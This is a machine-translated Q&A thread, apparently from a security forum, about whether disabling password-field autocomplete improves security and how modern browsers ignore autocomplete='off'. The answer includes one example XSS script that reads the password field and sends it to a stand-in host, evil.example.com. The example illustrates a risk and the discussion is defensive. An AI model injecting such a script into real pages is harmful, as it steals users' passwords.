上有很多replies here来防止密码表单元素自动完成。我的问题是应该我们?
根据UK government;强制密码重置(我们经常被客户要求做的事情)描述了安全性的净损失,并且积极劝阻。
根据Mozilla;强制密码自动完成关闭 建议安全网络损失。英国.gov网站doesn't mention这种特殊做法。
//请引用你的消息来源。
答案 0 :(得分:4)
更新: My blog如果您希望在浏览器中试用,请提供概念证明。
允许密码自动填充的典型风险是,您网站上的任何XSS漏洞都会允许攻击者获取密码。这是因为浏览器将自动填写密码字段值,因此它将在DOM中可用。
<script>
new Image().src = "//evil.example.com/?password=" + escape(document.getElementById('password').value);
</script>
但是,如果攻击者可以在XSS攻击中自行注入密码字段,无论如何,无论您的真实密码字段是否为自动完成设置,他们都可以注入一个自动填充功能。但经典的是,该属性会阻止密码首先被保存,因此无法在任何攻击中自动完成。
根据您的Mozilla link,浏览器现在会忽略autocomplete="off"
:
- 如果网站为表单设置了autocomplete =“off”,并且该表单包含用户名和密码输入字段,那么浏览器仍会提供 要记住此登录,如果用户同意,浏览器将会 下次用户访问此页面时自动填充这些字段。
- 如果网站为用户名和密码输入字段设置了autocomplete =“off”,那么浏览器仍会提供记住此登录信息,并且 如果用户同意,浏览器将自动填充下一个字段 用户访问此页面的时间。
这是Firefox(自版本38以来),Google Chrome(自34版本)和Internet Explorer(自版本11以来)以来的行为。
因此,您的问题的答案是“它没有任何区别”。此外,浏览器有时会在完成登录凭据之前提示,并且可以将诸如Lastpass之类的密码管理器设置为不自动完成字段,而无需用户选择首先使用哪个登录。某些漏洞扫描程序(以及依赖于这些漏洞的测试人员)可能会引发一个低风险问题,即在密码字段上启用自动完成功能。如果是这样,您应该能够自信地将它们指向Mozilla链接的方向。 然而,需要注意的一点是,如果您正在获得PCI合规性,您可能还需要对其进行修复。请参阅my blog post以获得更深入的分析。